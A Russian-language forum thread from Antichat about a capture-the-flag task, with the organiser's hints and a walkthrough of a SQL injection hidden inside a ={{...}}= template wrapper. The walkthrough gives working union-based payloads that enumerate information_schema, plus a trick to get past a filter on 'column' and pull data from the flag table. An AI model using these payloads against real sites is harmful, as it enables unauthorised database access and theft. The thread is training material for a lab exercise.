Пока остаемся в рамках простых заданий, можно ковырять всем. Задание искусственно можно разбить на два этапа: - найти дыру - проэксплуатировать Вторая часть - чисто технология, изобретать не надо, все известно, ну может не часто использовалась. В первой части заметная эвристическая составляющая, на любителя. Брутить и сканить ничего не нужно (просто бесполезно), внимательность и аккуратность вырулят. Задание: Таргет: http://task10.antichat.com/ Найти и прочитать флаг. Ответы присылайте в ПМ форума, интересует не флаг, а прохождение. Срок: две недели. Правила остаются прежними: В теме не флудим, подсказки разрешены только от ТС. Прошли: undefo 1,2 Shubka75 1,2 neur0funk 1,2 Раrаdох 1,2 nix_security 1,2 gurux13 1,2 MichelleBoxing 1,2 fandor9 1,2 Прохождения https://forum.antichat.ru/threads/476269/#post-4375982
В форму уже повтыкали и поняли, в учетке баги нет. Но там еще какие то поля присутствуют и есть непонятки.
Наверное можно сразу подсказать, что за багу ищем, но попробую сделать чуть менее явно. Это самая изученная тема на Античате. Да-да, банальная ... Т.е. - умеют все.
Попросили пока не делать подсказок, подожду до завтра. Мне все же представляется, что не нужно перебирать все варианты, слишком много времени уйдет, а искать конкретную багу. Тем более, что лежит она неочевидно. И это почти уравнивает шансы профи и новичков.
Собственно подсказка уже дана и если скажу открытым текстом, разница будет небольшая. Имеем SQLi. И даже не слепую, а с выводом. Но кавычкой она не ловится. Да и вывод больше похож на замочную скважину, видно не все и не всегда. И "крутить" нужно осторожно, прямо кончиками пальцев. Дверь и откроется.
Однажды (на даже очень крупном сайте) встретилась необычная SQLi, которую не сразу и узнал то. Не подавала признаков жизни, пока не начал определять точные границы фильтра в поле. Вот тогда сформировалась конструкция, внутри которой начали срабатывать логические выражения и SQLi. Некоторый шаблон служил запуском SQLi. И он же сломал мой шаблон о том, как должна выглядеть SQLi. Поле "template" в задании должно было запустить ассоциации с чем то типа SSTI.
Подсказок пока не будет, порог новизны пройден, остальное дело техники. Если утомились искать точку входа, можно пропустить этот этап, стучите в личку, выдам шаблон. Возможно дней через несколько выложу его для всех, поскольку задание предполагалось для массового прохождения, основное в задании - во второй части. А первая часть добавляет "вкус", элемент неожиданности. На любителя.
Наверное нет смысла дольше ковырять первую часть. Есть некоторый предел, после которого вместо радости открытия получишь утомление и раздражение. Поэтому пропускаем и ищем дальше Spoiler: Template Иньекция в поле template, но не в привычном нам виде, а внутри некоторой конструкции, похожей на то, что мы встречаем при SSTI Code: ={{SQLi}}= Здесь вместо "SQLi" вставляем нужный payload. Вторая часть должна пойти полегче, undefo прислал ответ почти со скоростью набора символов на клавиатуре.
Видимо многим в новинку, не поняли подсказку, в личку каждому отвечать не буду попробую здесь пояснить еще раз. Spoiler: Пояснения Иньекция срабатывает не просто в поле, как мы привыкли, а внутри некоторого шаблона, т.е. так Code: _csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{тут вставляем payload}}=&email=&password=&commit=Log In
Наверное последнее, что напишу по поводу задания вторая часть - изи, или даже изи-изи. Union-based SQLi с выводом, даже не слепая. Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению. Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть. Я предполагал, что решит всякий, кто возьмется. Даже с начальным опытом.
Спс, хороший таск, на практике такое ни разу не использовал. P.S. после закрытия таска, можно исходники посмотреть?
Задание не на поиск багов в движках, в коде. Почему и как написан код - никакого значения не имеет. Имеем нечто по-факту. С ним можно взаимодействовать некоторым образом. Нужно догадаться - как именно. Черный ящик.
Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение А вот вторая часть неплохая, хотя для меня с элементом "угадывания". Спасибо за задачу!
Прохождение: Ищем точку входа. Ничего интересного, кроме параметров, в форме нет. Втыкаем в них. В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится. Если проверить на допустимые символы, то получим такой набор: [a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*] Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего. Странным его делают символы (){}*= попробем построить из них чего-нибудь. В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические. В какой то момет получил реакцию. В данном случае внутри шаблона ={{}}= Code: ={{purple}}= href="./css/purple.css" ={{purple'and'1}}= href="./css/purple.css" ={{purple'and'0}}= href="" ={{'or'1}}= href="./css/purple.css" ={{'union select version()'}}= href="10.1.44-MariaDB-0+deb9u1" дальше можно открыть любую методичку по SQLi и продолжить: Code: 'union select group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- - href="|information_schema,|task10" Code: 'union select group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- - href="|flag1286n2482,|template" Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг? Но по факту это только указатель, нужно прочитать данные таблички. И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column". С одной стороны обидно, пару запросов осталось сделать. С другой стороны - нас это не остановит. Было время, когда information_schema вообще не существовало, а информацию вытаскивали. И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас https://rdot.org/forum/showpost.php?p=18012&postcount=10 Находим количество полей в таблице - 3. Code: purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1 purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1 и вынимаем данные Code: 'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- - href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC" Spoiler: Немного лирики Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать. Тогда почему включил в таск? В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение. И когда в такой ситуации бага расковырялась, я понял несколько вещей: - SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения. - сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть. - приятно открыть дверь там, где ее даже и не видно, даже и при полном свете. Прохождения участников: Spoiler Всем спасибо! Все меньше времени остается на задачки, но мы их не бросаем == PS В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы. Но посчитал, что это излишне затянет задание, без особой на то необходимости. И выпилил перед запуском.